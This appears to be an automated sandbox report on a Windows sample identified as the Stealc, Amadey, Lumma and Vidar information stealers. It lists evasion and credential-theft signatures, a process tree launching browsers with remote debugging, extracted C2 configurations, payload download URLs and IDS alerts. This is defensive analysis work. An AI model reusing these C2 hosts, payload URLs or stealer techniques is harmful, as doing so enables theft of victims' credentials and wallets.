Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558699
MD5:	8427e384ea4951ee4a5f0b425fa5ad02
SHA1:	08f6dd97b593d0bc86339e1a1b7dd405f7798d4e
SHA256:	1498a63ecb4dab164c1b8287ea274408379e317874d7d05f41bc6209060326ba
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7664 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8427E384EA4951EE4A5F0B425FA5AD02)

chrome.exe (PID: 7976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2116,i,15236747376566877076,15780702850238807607,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7672 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7480 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2308,i,14714462236910812885,8617674991629575776,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9112 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKEHIEBKJK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsKKEHIEBKJK.exe (PID: 9132 cmdline: "C:\Users\user\DocumentsKKEHIEBKJK.exe" MD5: 73897C497394D9F83B016E6377594C5D)

skotes.exe (PID: 8532 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 73897C497394D9F83B016E6377594C5D)

msedge.exe (PID: 5736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4132 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8684 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8700 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8876 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 73897C497394D9F83B016E6377594C5D)

skotes.exe (PID: 8736 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 73897C497394D9F83B016E6377594C5D)

beda8cb96f.exe (PID: 5588 cmdline: "C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe" MD5: 380A232D2A56B308FFDA46696D44CA41)

7255bf1ad0.exe (PID: 7804 cmdline: "C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe" MD5: F6DF237F8DC7D584D8836042966A0943)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000002.2696581800.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.1912444151.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.1920549597.0000000000501000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.1872119711.0000000004C70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1451214684.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.1941600584.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2495420970.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1834499760.000000000118E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.1900819515.00000000049A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.1833240740.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1833210482.0000000000431000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7664	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7664	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7664	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.DocumentsKKEHIEBKJK.exe.500000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.4c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.4c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.4c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8736, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7255bf1ad0.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7664, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7976, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8736, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7255bf1ad0.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:02:20.607740+0100	2028371	3	Unknown Traffic	192.168.2.8	62709	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:02:24.199952+0100	2054653	1	A Network Trojan was detected	192.168.2.8	62709	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:02:24.199952+0100	2049836	1	A Network Trojan was detected	192.168.2.8	62709	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:02:14.908316+0100	2044696	1	A Network Trojan was detected	192.168.2.8	62705	185.215.113.43	80	TCP
2024-11-19T18:02:20.131616+0100	2044696	1	A Network Trojan was detected	192.168.2.8	62708	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:00:21.017268+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:00:21.006791+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:00:21.240542+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:00:22.492367+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:00:21.337424+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:00:20.600522+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:02:05.401370+0100	2856147	1	A Network Trojan was detected	192.168.2.8	62702	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:02:14.175610+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	62703	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:02:08.351006+0100	2803305	3	Unknown Traffic	192.168.2.8	62704	31.41.244.11	80	TCP
2024-11-19T18:02:15.627462+0100	2803305	3	Unknown Traffic	192.168.2.8	62706	185.215.113.16	80	TCP
2024-11-19T18:02:20.848587+0100	2803305	3	Unknown Traffic	192.168.2.8	62710	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T18:00:22.968756+0100	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-19T18:00:44.255074+0100	2803304	3	Unknown Traffic	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:45.446690+0100	2803304	3	Unknown Traffic	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:46.084645+0100	2803304	3	Unknown Traffic	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:46.734006+0100	2803304	3	Unknown Traffic	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:48.663478+0100	2803304	3	Unknown Traffic	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:49.050081+0100	2803304	3	Unknown Traffic	192.168.2.8	49761	185.215.113.206	80	TCP
2024-11-19T18:00:53.023321+0100	2803304	3	Unknown Traffic	192.168.2.8	62272	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpBKJK.exe-data;	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe:	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exen	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe5062	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe1392	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe506239Cd	Avira URL Cloud: Label: phishing
Source: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403th	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exea	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 0000001C.00000002.2696581800.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7664.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA76C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CA76C80

Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_2f970b64-2

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.17:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.8:62268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:62270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:62275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:62277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:62709 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1871968278.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49705 -> 185.215.113.206:80
